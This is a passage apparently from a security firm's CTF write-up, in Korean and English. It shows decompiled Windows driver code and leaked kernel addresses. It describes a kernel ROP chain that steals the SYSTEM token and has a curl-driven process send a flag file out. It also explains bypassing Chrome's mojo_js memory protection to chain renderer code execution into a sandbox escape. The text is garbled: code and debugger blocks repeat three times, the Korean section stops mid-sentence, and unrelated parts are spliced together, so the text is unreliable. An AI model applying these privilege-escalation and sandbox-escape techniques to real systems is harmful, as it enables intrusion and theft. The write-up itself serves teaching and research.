  if ( !qword_140003080[v5] )
    return 3221225485LL;
  MaximumSize.QuadPart = 0x10000;
  RtlInitUnicodeString(
    &DestinationString,
    L"\\BaseNamedObjects\\LoggingMemoryInformationForInternalMemoryStorageDriver");
  ObjectAttributes.Length = 48;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 512;
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  v3 = ZwCreateSection(&SectionHandle, 0xF001Fu, &ObjectAttributes, &MaximumSize, 4u, 0x8000000u, 0); // [1]
  if ( v3 >= 0 )
  {
    BaseAddress = 0;
    ViewSize = 0x10000; // [2]
    v4 = ZwMapViewOfSection(
           SectionHandle,
           (HANDLE)0xFFFFFFFFFFFFFFFFLL,
           &BaseAddress,
           0,
           0,
           0,
           &ViewSize,
           ViewUnmap,
           0,
           4u); // [2]
    if ( v4 >= 0 )
    {
      memcpy(BaseAddress, (const void *)qword_140003080[v5], ViewSize); // [3]
      ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFLL, BaseAddress); // [4]
      ZwClose(SectionHandle); // [4]
      return 0;
    }
    else
    {
      _mm_lfence();
      ZwClose(SectionHandle);
      return (unsigned int)v4;
    }
  }
  else
  {
    _mm_lfence();
    return (unsigned int)v3;
  }
}
__int64 __fastcall sub_1400014CC(__int64 *a1, unsigned int a2)
{
  NTSTATUS v3; // [rsp+50h] [rbp-78h]
  NTSTATUS v4; // [rsp+50h] [rbp-78h]
  __int64 v5; // [rsp+58h] [rbp-70h]
  PVOID BaseAddress; // [rsp+60h] [rbp-68h] BYREF
  void *SectionHandle; // [rsp+68h] [rbp-60h] BYREF
  ULONG_PTR ViewSize; // [rsp+70h] [rbp-58h] BYREF
  union _LARGE_INTEGER MaximumSize; // [rsp+78h] [rbp-50h] BYREF
  _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+80h] [rbp-48h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+B0h] [rbp-18h] BYREF

  if ( !a1 || a2 < 8 )
    return 3221225485LL;
  v5 = *a1;
  if ( (unsigned __int64)*a1 >= 0x100 )
    return 3221225485LL;
  if ( !qword_140003080[v5] )
    return 3221225485LL;
  MaximumSize.QuadPart = 0x10000;
  RtlInitUnicodeString(
    &DestinationString,
    L"\\BaseNamedObjects\\LoggingMemoryInformationForInternalMemoryStorageDriver");
  ObjectAttributes.Length = 48;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 512;
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  v3 = ZwCreateSection(&SectionHandle, 0xF001Fu, &ObjectAttributes, &MaximumSize, 4u, 0x8000000u, 0); // [1]
  if ( v3 >= 0 )
  {
    BaseAddress = 0;
    ViewSize = 0x10000; // [2]
    v4 = ZwMapViewOfSection(
           SectionHandle,
           (HANDLE)0xFFFFFFFFFFFFFFFFLL,
           &BaseAddress,
           0,
           0,
           0,
           &ViewSize,
           ViewUnmap,
           0,
           4u); // [2]
    if ( v4 >= 0 )
    {
      memcpy(BaseAddress, (const void *)qword_140003080[v5], ViewSize); // [3]
      ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFLL, BaseAddress); // [4]
      ZwClose(SectionHandle); // [4]
      return 0;
    }
    else
    {
      _mm_lfence();
      ZwClose(SectionHandle);
      return (unsigned int)v4;
    }
  }
  else
  {
    _mm_lfence();
    return (unsigned int)v3;
  }
}
__int64 __fastcall sub_1400014CC(__int64 *a1, unsigned int a2)
{
  NTSTATUS v3; // [rsp+50h] [rbp-78h]
  NTSTATUS v4; // [rsp+50h] [rbp-78h]
  __int64 v5; // [rsp+58h] [rbp-70h]
  PVOID BaseAddress; // [rsp+60h] [rbp-68h] BYREF
  void *SectionHandle; // [rsp+68h] [rbp-60h] BYREF
  ULONG_PTR ViewSize; // [rsp+70h] [rbp-58h] BYREF
  union _LARGE_INTEGER MaximumSize; // [rsp+78h] [rbp-50h] BYREF
  _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+80h] [rbp-48h] BYREF
  struct _UNICODE_STRING DestinationString; // [rsp+B0h] [rbp-18h] BYREF

  if ( !a1 || a2 < 8 )
    return 3221225485LL;
  v5 = *a1;
  if ( (unsigned __int64)*a1 >= 0x100 )
    return 3221225485LL;
  if ( !qword_140003080[v5] )
    return 3221225485LL;
  MaximumSize.QuadPart = 0x10000;
  RtlInitUnicodeString(
    &DestinationString,
    L"\\BaseNamedObjects\\LoggingMemoryInformationForInternalMemoryStorageDriver");
  ObjectAttributes.Length = 48;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 512;
  ObjectAttributes.ObjectName = &DestinationString;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  v3 = ZwCreateSection(&SectionHandle, 0xF001Fu, &ObjectAttributes, &MaximumSize, 4u, 0x8000000u, 0); // [1]
  if ( v3 >= 0 )
  {
    BaseAddress = 0;
    ViewSize = 0x10000; // [2]
    v4 = ZwMapViewOfSection(
           SectionHandle,
           (HANDLE)0xFFFFFFFFFFFFFFFFLL,
           &BaseAddress,
           0,
           0,
           0,
           &ViewSize,
           ViewUnmap,
           0,
           4u); // [2]
    if ( v4 >= 0 )
    {
      memcpy(BaseAddress, (const void *)qword_140003080[v5], ViewSize); // [3]
      ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFLL, BaseAddress); // [4]
      ZwClose(SectionHandle); // [4]
      return 0;
    }
    else
    {
      _mm_lfence();
      ZwClose(SectionHandle);
      return (unsigned int)v4;
    }
  }
  else
  {
    _mm_lfence();
    return (unsigned int)v3;
  }
}

참고로 유출된 일부 커널 주소는 아래와 같이 나타납니다. ntoskrnl과 커널 드라이버의 주소 일부가 유출되었으므로 스택 ROP 체인을 구성하는 데 있어 문제가 없을 것입니다 👍

/*
1: kd> dps rdx
ffff830f`511a25a0  00000000`00000000
ffff830f`511a25a8  00000000`00000000
ffff830f`511a25b0  00000000`00000000
ffff830f`511a25b8  00000000`00000000
ffff830f`511a25c0  00000000`00000000
ffff830f`511a25c8  00000000`00000000
ffff830f`511a25d0  00000000`00000000
ffff830f`511a25d8  00000000`00000000
ffff830f`511a25e0  ffff492d`18495274
ffff830f`511a25e8  fffff803`9da1973a nt!MiResolvePrivateZeroFault+0x58a
ffff830f`511a25f0  ffffe782`fb146000
ffff830f`511a25f8  fffff803`340b1434 MemoryStorage+0x1434
ffff830f`511a2600  000001e7`6f4b6110
ffff830f`511a2608  ffff830f`00000010
ffff830f`511a2610  00000000`00000000
ffff830f`511a2618  fffff803`9db239f9 nt!KeLeaveCriticalRegionThread+0x9

1: kd> dq nt!KeLeaveCriticalRegionThread+0x9-nt
00000000`003239f9  ????????`???????? ????????`????????

1: kd> dq nt!MiResolvePrivateZeroFault+0x58a-nt
00000000`0021973a  ????????`???????? ????????`????????
*/
/*
1: kd> dps rdx
ffff830f`511a25a0  00000000`00000000
ffff830f`511a25a8  00000000`00000000
ffff830f`511a25b0  00000000`00000000
ffff830f`511a25b8  00000000`00000000
ffff830f`511a25c0  00000000`00000000
ffff830f`511a25c8  00000000`00000000
ffff830f`511a25d0  00000000`00000000
ffff830f`511a25d8  00000000`00000000
ffff830f`511a25e0  ffff492d`18495274
ffff830f`511a25e8  fffff803`9da1973a nt!MiResolvePrivateZeroFault+0x58a
ffff830f`511a25f0  ffffe782`fb146000
ffff830f`511a25f8  fffff803`340b1434 MemoryStorage+0x1434
ffff830f`511a2600  000001e7`6f4b6110
ffff830f`511a2608  ffff830f`00000010
ffff830f`511a2610  00000000`00000000
ffff830f`511a2618  fffff803`9db239f9 nt!KeLeaveCriticalRegionThread+0x9

1: kd> dq nt!KeLeaveCriticalRegionThread+0x9-nt
00000000`003239f9  ????????`???????? ????????`????????

1: kd> dq nt!MiResolvePrivateZeroFault+0x58a-nt
00000000`0021973a  ????????`???????? ????????`????????
*/
/*
1: kd> dps rdx
ffff830f`511a25a0  00000000`00000000
ffff830f`511a25a8  00000000`00000000
ffff830f`511a25b0  00000000`00000000
ffff830f`511a25b8  00000000`00000000
ffff830f`511a25c0  00000000`00000000
ffff830f`511a25c8  00000000`00000000
ffff830f`511a25d0  00000000`00000000
ffff830f`511a25d8  00000000`00000000
ffff830f`511a25e0  ffff492d`18495274
ffff830f`511a25e8  fffff803`9da1973a nt!MiResolvePrivateZeroFault+0x58a
ffff830f`511a25f0  ffffe782`fb146000
ffff830f`511a25f8  fffff803`340b1434 MemoryStorage+0x1434
ffff830f`511a2600  000001e7`6f4b6110
ffff830f`511a2608  ffff830f`00000010
ffff830f`511a2610  00000000`00000000
ffff830f`511a2618  fffff803`9db239f9 nt!KeLeaveCriticalRegionThread+0x9

1: kd> dq nt!KeLeaveCriticalRegionThread+0x9-nt
00000000`003239f9  ????????`???????? ????????`????????

1: kd> dq nt!MiResolvePrivateZeroFault+0x58a-nt
00000000`0021973a  ????????`???????? ????????`????????
*/

익스플로잇 (Exploit)

이제 필요한 모든 정보가 수집되었으므로, SYSTEM 권한을 획득하기 위해 ROP 체인을 사용하여 스택 기반 버퍼 오버플로우를 익스플로잇할 수 있습니다. ROP 체인은 다음 순서로 작동합니다.

  1. ROP 체인에 들어가기 전에, Medium 무결성 수준으로 실행되는 cmd 프로세스가 생성됩니다. 이 프로세스는 curl 명령을 사용해 C:\Windows\System32\flag.txt를 지속적으로 읽으려고 시도합니다.

  2. cmd 프로세스의 PID를 사용하여, ROP 체인은 PsLookupProcessByProcessId 함수를 호출하여 cmd 프로세스의 EPROCESS 주소를 획득합니다.

  3. 동일한 함수를 다시 호출하여 System 프로세스의 EPROCESS 주소를 얻습니다. (Windows에서 System 프로세스의 PID는 항상 4입니다.)

  4. 그 후 cmd 프로세스의 Token 값을 System 프로세스의 Token 값으로 덮어씁니다.

이 체인이 완료되면 처음 생성되었던 cmd 프로세스는 SYSTEM 권한으로 실행되게 됩니다. 그러나 아직 과정이 끝난 것은 아닙니다. ROP 체인이 커널 컨텍스트에서 실행되었기 때문에 제어권을 유저 컨텍스트로 돌려놓아야 합니다. 또한, cmd 프로세스가 flag.txt를 읽어 그 내용을 외부로 전송하는 데 약간의 시간이 필요합니다.

유저 컨텍스트로 돌아가기 위해 KiKernelSysretExit 같은 함수를 사용할 수도 있지만, 이번 익스플로잇에서는 데이터 전송이 이루어질 수 있는 짧은 지연만 필요했습니다. 이를 달성하기 위해 ROP 체인의 끝에 단순한 \xEB\xFE 가젯을 사용하였는데, 이는 무한 셀프 점프를 유발하여 사실상 커널을 지

Part 4: FullChain

RCE to SBX

The existing RCE-SBX chaining method was to change enable_mojo_js to True. However, a year ago, Chrome introduced a new Mitigation [link] to prevent exploitation.

Mitigation Detail

The existing method to enable mojo_js was as follows:

  1. Find the current RenderFrameImpl in the chrome binary,

  2. Overwrite the member variable enable_mojo_js of RenderFrameImpl

However, the new mitigation does the following:

  1. If ScriptContext is not finished, grant ReadOnly permission to enable_mojo_js area via ProtectMemory.

  2. Mojo binding can be enabled only when ScriptContext is finished.

That is, it is impossible to overwrite mojo_js_binding during Script execution (= during Exploitation ).

Now, there is a difficulty in chaining with the existing method.

Bypass

We can do endless things after achieving arbitrary code execution. For example, “making ReadOnly memory into ReadWrite memory”.

As mentioned earlier, whether enable_mojo_js is enabled or not is now managed in ExecuteContext.

The default flags applied to the new ExecuteContext are managed globally with ProtectedMemory applied.

In other words, if the global enable_mojo_js default flags managed by (ReadOnly)ProtectedMemory are set to true and a new Script Context is created(Reload), the context will be able to use mojo bindings.

We can use base::AutoWritableMemoryBase::SetMemoryReadWrite to grant rw permission to protected memory, and base::AutoWritableMemoryBase::SetMemoryRead to grant readonly permission to protected memory.

If we execute the shellcode that does this and then execute windows.reload, we can normally obtain a context where mojo_js_binding is activated.


DEMO

Epilogue

Web browsers remain high-value targets consistently exploited in numerous in-the-wild attacks. Despite extensive security mitigations introduced by Chrome over the years, our full-chain exploit demonstrates that bypassing these protections remains feasible. Similarly, although Windows Control Flow Guard (CFG) provides robust protection mechanisms, sophisticated techniques exist to effectively circumvent these defenses.

Creating this CTF challenge series has been a rewarding experience, and we sincerely hope participants enjoyed tackling these challenges as much as we enjoyed developing them. Our goal was not only to provide engaging, technically intricate challenges but also to reflect real-world exploitation scenarios, showcasing the latest trends and bypass techniques employed in actual threat environments.

Moving forward, we are committed to continuing our exploration of emerging exploitation techniques and developing challenges aligned with the latest cybersecurity trends. Our research journey is ongoing, and we have no intention of slowing down. In future posts, we aim to delve deeper into analyzing genuine in-the-wild vulnerabilities, demonstrating real-world bug chaining techniques, and sharing our insights and methodologies with the broader security community.

Thanks to the all participants and readers for your interest and engagement. Stay tuned for more groundbreaking research and practical insights.

EnkiWhiteHat

EnkiWhiteHat

ENKI Whitehat
ENKI Whitehat

Offensive security experts delivering deeper security through an attacker's perspective.

Offensive security experts delivering deeper security through an attacker's perspective.

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

The Beginning of Flawless Security System, From the Expertise of the No.1 White Hacker

Prepare Before a Security Incident Occurs

Subscribe

Find this content useful?
Subscribe to the Enki Letter!

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.